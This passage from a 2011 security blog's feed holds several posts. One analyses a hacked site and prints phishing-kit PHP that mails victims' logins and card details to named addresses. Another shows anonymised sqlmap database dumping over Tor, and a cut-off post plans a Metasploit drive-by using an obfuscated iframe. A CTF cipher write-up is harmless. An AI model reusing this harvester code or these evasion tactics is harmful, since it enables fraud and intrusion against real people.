/&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [6] = {name: &amp;quot;JCB&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;15,16&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;3,1800,2131&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [7] = {name: &amp;quot;enRoute&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;15&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;2014,2149&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [8] = {name: &amp;quot;Solo&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;16,18,19&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;6334, 6767&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [9] = {name: &amp;quot;Switch&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;16,18,19&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;4903,4905,4911,4936,564182,633110,6333,6759&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [10] = {name: &amp;quot;Maestro&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;16,18&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;5020,6&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [11] = {name: &amp;quot;VisaElectron&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;16&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;417500,4917,4913&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};&lt;/p&gt;  &lt;p&gt;Only one file is encoded using base64 encoding and the decoded output contains, the mail where the information are sent, this is defined as : $mail =&amp;quot;golobaz@voila.fr&amp;quot;;&lt;/p&gt;  &lt;p&gt;Another directory with the name &lt;a href=&quot;http://www.poste.it&quot;&gt;www.poste.it&lt;/a&gt; has phising information about poste.it website. Again there is only one encoded file containing information about the recipient of the details gathered, &lt;/p&gt;  &lt;p&gt;$usip = $_SERVER[&#39;REMOTE_ADDR&#39;];    &lt;br /&gt;$mail = &amp;quot;golobaz@voila.fr&amp;quot;;     &lt;br /&gt;$subj = &amp;quot;Posteitaliane Utente &amp;quot;;&lt;/p&gt;  &lt;p&gt;An interesting script that seems to be specifically created for osCommerce applications since it’s gathering data from configuration files and database is Thumbs.db.php, ( &lt;a href=&quot;http://www.deventum.com/research/Thumbs.db.php.gz&quot;&gt;http://www.deventum.com/research/Thumbs.db.php.gz&lt;/a&gt; ) &lt;/p&gt;  &lt;p&gt;More scripts, slq.php file, ( &lt;a href=&quot;http://www.deventum.com/research/slq.php.gz&quot;&gt;http://www.deventum.com/research/slq.php.gz&lt;/a&gt; ) is an interface for mysql or as it’s described “MySQL Interface (Developed By Mohajer22)” with embedded username and password set to :&lt;/p&gt;  &lt;p&gt;$PASSWORD = &amp;quot;root_xhahax&amp;quot;;    &lt;br /&gt;$USERNAME = &amp;quot;xhahax&amp;quot;;     &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;Another php web shell “ Web Shell by oRb” under the name of account_manage.php that it is a modified version of c99 shell scripts with a slightly better interface. &lt;/p&gt;  &lt;p&gt;The usual scripts for mass mailing, this time “ Made By Mo$`Craci|a` “ , one more backdoor on the site with the name cookie_usage.php that enables an attacker to post a crafted request and login as administrator on the system.&lt;/p&gt;  &lt;p&gt;The Bofa, “Bank of America” phising template is sending the information gathered to the following address,&lt;/p&gt;  &lt;p&gt;$send=&amp;quot;latesayee800@blumail.org&amp;quot;;    &lt;br /&gt;$subject = &amp;quot;Fresh BOFA Rezult | $user | $ip&amp;quot;;     &lt;br /&gt;$headers = &amp;quot;From: alsa7r &amp;gt;&amp;quot;;&lt;/p&gt;  &lt;p&gt;Also inside style.css we have &lt;/p&gt;  &lt;p&gt;&amp;lt;?    &lt;br /&gt;$IP = &#39;m4rk0l30p4rd@yahoo.com,m4rk0l30p4rd@hotmail.com&#39;;     &lt;br /&gt;?&amp;gt;     &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;And finally a phising template for &lt;a href=&quot;http://www.caisse-epargne.fr&quot;&gt;www.caisse-epargne.fr&lt;/a&gt; which under confirm_fichiers/ScriptResource_013.axd again on base64 encoding contains the following:&lt;/p&gt;  &lt;p&gt;$message&amp;#160; = &amp;quot;-----------------------------------------\n&amp;quot;;    &lt;br /&gt;$message .= &amp;quot;--------------+ Login Info +-------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;-----------------------------------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;Nom complet : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbPrenom&#39;].&amp;quot; &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbNom&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;Identifiant Client : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbInternaute&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;Date de naiscance : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbDateNaissance&#39;].&amp;quot;\n&amp;quot;; include &#39;confirm_fichiers/ScriptResource_012.axd&#39;;     &lt;br /&gt;$message .= &amp;quot;Email : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbEmail&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;-----------------------------------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;Adresse : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCoordonneesPostales$CC_sous_coordonnees_postales_bloc$wzdCoordonneesPostales$tbAdresse&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;ville : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCoordonneesPostales$CC_sous_coordonnees_postales_bloc$wzdCoordonneesPostales$tbVille&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;code postal : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCoordonneesPostales$CC_sous_coordonnees_postales_bloc$wzdCoordonneesPostales$tbCP&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;-----------------------------------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;CC number : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCallBack$CC_sous_call_back_bloc$wzdCallBack$tbTelephoneBureau&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;exp date : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCallBack$CC_sous_call_back_bloc$wzdCallBack$tbTelephoneMobile&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;cvv : &amp;quot;.$_POST[&#39;ctl09$CC_sous_ouv_direct_ecureuil$ccSousCallBack$CC_sous_call_back_bloc$wzdCallBack$tbTelephone&#39;].&amp;quot;\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;-----------------------------------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;--------------+ Made By REDHATTeam +------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;--------------+ Thnx My Redhatteam +------------\n&amp;quot;;     &lt;br /&gt;$message .= &amp;quot;-----------------------------------------\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;$send=&amp;quot;golobaz@voila.fr&amp;quot;;&lt;/p&gt;  &lt;p&gt;$subject = &amp;quot;Bravo | $login&amp;quot;;&lt;/p&gt;  &lt;p&gt;$headers = &amp;quot;From: REdhatteam - maroc-spam.net&amp;quot;;&lt;/p&gt;  &lt;p&gt;mail($send,$subject,$message,$headers);&lt;/p&gt;  &lt;p&gt;header(&amp;quot;Location: https://www.caisse-epargne.fr/pauth.aspx?&amp;quot;);&lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/4200654648484123592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/04/hacked-pages-and-spam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4200654648484123592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4200654648484123592'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/04/hacked-pages-and-spam.html' title='hacked pages and spam'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-4996445614950046264</id><published>2011-04-14T10:45:00.001+03:00</published><updated>2011-04-14T10:45:01.404+03:00</updated><title type='text'>sqlmap and tor</title><content type='html'>&lt;p&gt;There is no better tool at the moment for blind SQL injection than sqlmap. If you don’t use it you should definitely have a look on it. With the latest additions sqlmap supports tor with a command line switch, –tor. Let’s proceed with an installation. My system is debian/ubuntu based but the installation is almost the same for any unix based distribution. Following the instructions, &lt;a title=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot;&gt;https://www.torproject.org/docs/debian.html.en#ubuntu&lt;/a&gt; , &lt;/p&gt; &lt;p&gt;Add this line to your /etc/apt/sources.list file:&lt;/p&gt; &lt;p&gt;deb&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href=&quot;http://deb.torproject.org/torproject.org&quot;&gt;http://deb.torproject.org/torproject.org&lt;/a&gt; &amp;lt;DISTRIBUTION&amp;gt; main&lt;/p&gt; &lt;p&gt;where you put the codename of your distribution (i.e. lenny, sid, maverick or whatever it is) in place of &amp;lt;DISTRIBUTION&amp;gt;.&lt;/p&gt; &lt;p&gt;Then add the gpg key used to sign the packages by running the following commands at your command prompt:&lt;/p&gt; &lt;p&gt;gpg --keyserver keys.gnupg.net --recv 886DDD89&lt;br&gt;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&lt;/p&gt; &lt;p&gt;Now refresh your sources and install Tor by running the following commands (as root) at your command prompt:&lt;/p&gt; &lt;p&gt;apt-get update&lt;br&gt;apt-get install tor tor-geoipdb&lt;br&gt;&lt;/p&gt; &lt;p&gt;Start tor, with /etc/init.d/tor start and grab a copy of polito config file from &lt;a title=&quot;https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf&quot; href=&quot;https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf&quot;&gt;https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf&lt;/a&gt; , rename or move the old file in /etc/polipo/config and use the configuration from the URL.Restart polipo with /etc/init.d/polipo restart.&lt;/p&gt; &lt;p&gt;Get sqlmap from the latest svn trunk using &lt;/p&gt; &lt;p&gt;&lt;em&gt;svn&lt;/em&gt; checkout https://&lt;em&gt;svn&lt;/em&gt;.&lt;em&gt;sqlmap&lt;/em&gt;.org/&lt;em&gt;sqlmap&lt;/em&gt;/trunk/&lt;em&gt;sqlmap&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Now you can use sqlmap with –tor with the following command, &lt;/p&gt; &lt;p&gt;~/sqlmap# ./sqlmap.py -u &lt;a href=&quot;http://URL/index.php?cata_id=1&quot;&gt;http://URL/index.php?cata_id=1&lt;/a&gt; --dump-all –tor --user-agent=&quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&quot; and your requests will appear like an anonymous google bot getting information from the website. &lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/4996445614950046264/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/04/sqlmap-and-tor.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4996445614950046264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4996445614950046264'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/04/sqlmap-and-tor.html' title='sqlmap and tor'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-699186550437238278</id><published>2011-04-13T17:08:00.001+03:00</published><updated>2011-04-13T17:08:39.806+03:00</updated><title type='text'>another ctf from novaha</title><content type='html'>&lt;p&gt;A crypto ctf this time from NoVA great group. This time the challenge was a to decipher a text. The give text was the following, &lt;/p&gt; &lt;p&gt;Cipher text: &lt;p&gt;NDJJE ETD’RF Y NTE ZYHF Y NUA PTUBF&lt;br&gt;KIYEUP’ UP WGF BWRFFW ATPPY NF Y NUA ZYP BTZF JYE &lt;p&gt;ETD ATW ZDJ TP ET’ XYVF&lt;br&gt;ETD NUA JUBARYVF&lt;br&gt;HUVHUP’ ETDR VYP YII TSFR WGF KIYVF &lt;p&gt;MF MUII MF MUII RTVH ETD&lt;br&gt;MF MUII MF MUII RTVH ETD &lt;p&gt;NDJJE ETD’RF Y ETDPA ZYP GYRJ ZYP&lt;br&gt;BGTDWUP’ UP WGF BWRFFW ATPPY WYHF TP WGF MTRIJ BTZF JYE&lt;br&gt;ETD ATW NITTJ TP ET’ XYVF&lt;br&gt;ETD NUA JUBARYVF&lt;br&gt;MYSUP’ ETDR NYPPFR YII TSFR WGF KIYVF &lt;p&gt;MF MUII MF MUII RTVH ETD&lt;br&gt;MF MUII MF MUII RTVH ETD &lt;p&gt;NDJJE ETD’RF YP TIJ ZYP KTTR ZYP&lt;br&gt;KIFYJUP’ MUWG ETDR FEFB ATPPY ZYHF ETD BTZF KFYVF BTZF JYE &lt;p&gt;ETD ATW ZDJ TP ETDR XYVF&lt;br&gt;ETD NUA JUBARYVF&lt;br&gt;BTZFNTJE NFWWFR KDW ETD NYVH UP ETDR KIYVF &lt;p&gt;MF MUII MF MUII RTVH ETD&lt;br&gt;MF MUII MF MUII RTVH ETD &lt;p&gt;The challenge this time was easy since at the website the author provided a lot of information about substitution ciphers and also a nice tool to measure the occurrences of each letter. The link for the tool is, &lt;a title=&quot;http://novactf.org/challenges/challenge-march-2011/rubyscript/&quot; href=&quot;http://novactf.org/challenges/challenge-march-2011/rubyscript/&quot;&gt;http://novactf.org/challenges/challenge-march-2011/rubyscript/&lt;/a&gt; and the output on the text above is the following,  &lt;p&gt;[A =&amp;gt; 15]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.94%&lt;br&gt;[B =&amp;gt; 13]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.54%&lt;br&gt;[D =&amp;gt; 30]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5.87%&lt;br&gt;[E =&amp;gt; 35]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6.85%&lt;br&gt;[F =&amp;gt; 53]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10.37%&lt;br&gt;[G =&amp;gt; 8]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.57%&lt;br&gt;[H =&amp;gt; 12]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.35%&lt;br&gt;[I =&amp;gt; 36]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7.05%&lt;br&gt;[J =&amp;gt; 20]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.91%&lt;br&gt;[K =&amp;gt; 8]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.57%&lt;br&gt;[M =&amp;gt; 27]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5.28%&lt;br&gt;[N =&amp;gt; 15]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.94%&lt;br&gt;[P =&amp;gt; 29]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5.68%&lt;br&gt;[R =&amp;gt; 26]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 5.09%&lt;br&gt;[S =&amp;gt; 3]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.59%&lt;br&gt;[T =&amp;gt; 58]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11.35%&lt;br&gt;[U =&amp;gt; 31]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6.07%&lt;br&gt;[V =&amp;gt; 19]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.72%&lt;br&gt;[W =&amp;gt; 18]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.52%&lt;br&gt;[X =&amp;gt; 3]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.59%&lt;br&gt;[Y =&amp;gt; 38]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7.44%&lt;br&gt;[Z =&amp;gt; 14]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.74%&lt;/p&gt; &lt;p&gt;From &lt;a title=&quot;http://en.wikipedia.org/wiki/Letter_frequency&quot; href=&quot;http://en.wikipedia.org/wiki/Letter_frequency&quot;&gt;http://en.wikipedia.org/wiki/Letter_frequency&lt;/a&gt;. We can assume, based on the frequency of possible occurrences for a start, that letters T and or F on the cipher text are one of the following e, t, a, or o. Since the author of the challenge already describe that he kept punctuation and format of the original text we can try to substitute using sed T and F accordingly. I won’t take this long this was an easy challenge, there are not many common words in English that have 2 letters and the second is e. That comes by substituting F with e, also we have the pattern MF MUII MF MUII RTVH ETD the second word, MUII has 2 occurrences of the same letters at the end, we can look for that at, &lt;a href=&quot;http://www.morewords.com&quot;&gt;http://www.morewords.com&lt;/a&gt; . Keeping it sort,&amp;nbsp;&amp;nbsp; &lt;/p&gt; &lt;p&gt; cat text&amp;nbsp; | sed s/F/e/g | sed s/T/o/g | sed s/M/w/g | sed s/I/l/g | sed s/U/i/g | sed s/R/r/g | sed s/V/c/g | sed s/H/k/g | sed s/E/y/g | sed s/D/u/g&lt;/p&gt; &lt;p&gt;will result on the following, &lt;/p&gt; &lt;p&gt;NuJJy youY Noy ZYke Y NiA PoiBe&lt;br&gt;KlYyiP WGe BWreeW AoPPY Ne Y NiA ZYP BoZe JYy&lt;/p&gt; &lt;p&gt;you AoW ZuJ oP yoce&lt;br&gt;you NiA JiBArYce&lt;br&gt;kickiPur cYP Yll oSer WGe KlYce&lt;/p&gt; &lt;p&gt;we will we will rock you&lt;br&gt;we will we will rock you&lt;/p&gt; &lt;p&gt;NuJJy youY youPA ZYP GYrJ ZYP&lt;br&gt;BGouWiP WGe BWreeW AoPPY WYke oP WGe worlJ BoZe JYy&lt;br&gt;you AoW NlooJ oP yoce&lt;br&gt;you NiA JiBArYce&lt;br&gt;wYSiPur NYPPer Yll oSer WGe KlYce&lt;/p&gt; &lt;p&gt;we will we will rock you&lt;br&gt;we will we will rock you&lt;/p&gt; &lt;p&gt;NuJJy youYP olJ ZYP Koor ZYP&lt;br&gt;KleYJiPWG your eyeB AoPPY ZYke you BoZe KeYce BoZe JYy&lt;/p&gt; &lt;p&gt;you AoW ZuJ oP your XYce&lt;br&gt;you NiA JiBArYce&lt;br&gt;BoZeNoJy NeWWer KuW you NYck iP your KlYce&lt;/p&gt; &lt;p&gt;we will we will rock you&lt;br&gt;we will we will rock you&lt;/p&gt; &lt;p&gt;I believe we don’t need more than that, we will rock you by Queen (&lt;a href=&quot;http://www.lyrics007.com/Queen%20Lyrics/We%20Will%20Rock%20You%20Lyrics.html&quot;&gt;http://www.lyrics007.com/Queen%20Lyrics/We%20Will%20Rock%20You%20Lyrics.html&lt;/a&gt;) .&lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/699186550437238278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/04/another-ctf-from-novaha.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/699186550437238278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/699186550437238278'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/04/another-ctf-from-novaha.html' title='another ctf from novaha'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-7740750431685533306</id><published>2011-04-07T21:40:00.001+03:00</published><updated>2011-04-07T21:41:34.254+03:00</updated><title type='text'>Client site attack using java codebase trust</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Some times you have to play the bad guy card in order to achieve results. When XSS attacks are not helping you to redirect a victim to your exploit, during a pentest, a more indirect approach can do the trick. Using a normal legitimate URL to do your bits. The latest exploit module for java_codebase_trust from metasploit is ideal for such attacks.&amp;nbsp; The setup, one domain, any dyndns service or simply a short/tiny url service. These days i prefer a normal domain name, dyndns services and tiny url addresses don&#39;t sound so legit for someone to trust. Another idea is a notification for newsletter removal, nobody likes unwanted newsletters, so a removal link is highly appreciated many times.&lt;br /&gt;
&lt;br /&gt;
Our metasploit server, running on msfconsole with the following settings,&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-R_aJ6Ld9Vb90GWeUvvuZiNCJWb5S47rsjHIXoKjzgcw3flpAWIzFLBUVjFvXd8FLmxqMOi7DIXdpWc59PHfvSVRzQtVoP5YTBDPTu-3G6siaBWokajFXH2PFPgwOLMOWTf_gXVCz-LD/s1600/codebase.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;290&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8-R_aJ6Ld9Vb90GWeUvvuZiNCJWb5S47rsjHIXoKjzgcw3flpAWIzFLBUVjFvXd8FLmxqMOi7DIXdpWc59PHfvSVRzQtVoP5YTBDPTu-3G6siaBWokajFXH2PFPgwOLMOWTf_gXVCz-LD/s400/codebase.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;I prefer to use local port on 443 for the metasploit listener, since many firewalls won&#39;t even check if the traffic is actual https, they will just check the port number and allow the traffic. As for the payload the normal java meterpreter is sufficient and goes undetected on many antiviruses still now.&lt;br /&gt;
&lt;br /&gt;
Adding a backdoor that will redirect a client from the website to the metasploit server can be done with the use of an iframe embedded on the actual html code of our site. Using an encoder also like, http://www.htmlguard.com/articles/wp-content/uploads/html-encryption.html we can encode our actual address to make it a bit harder on the first look to raise suspicion. In our case a redirect to the server with ip address 192.168.2.23 can be encoded ,&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPW7Kg4_icCRQAKWEBEWy5RJR7RK_0MMUtRm6ccs-uWkAHYlY3Qf07JOKWu7NF1sb9hFXVA_1ybaXRSNT2WLunqo6UbX1T2-MJ_x9o_qmpS30LJv9EXWg9Te8_OT1YdTsqPqwMBWzmdAL/s1600/encode.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPW7Kg4_icCRQAKWEBEWy5RJR7RK_0MMUtRm6ccs-uWkAHYlY3Qf07JOKWu7NF1sb9hFXVA_1ybaXRSNT2WLunqo6UbX1T2-MJ_x9o_qmpS30LJv9EXWg9Te8_OT1YdTsqPqwMBWzmdAL/s400/encode.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
and from the options my favorite encoding is base64,&lt;br /&gt;
&lt;br /&gt;
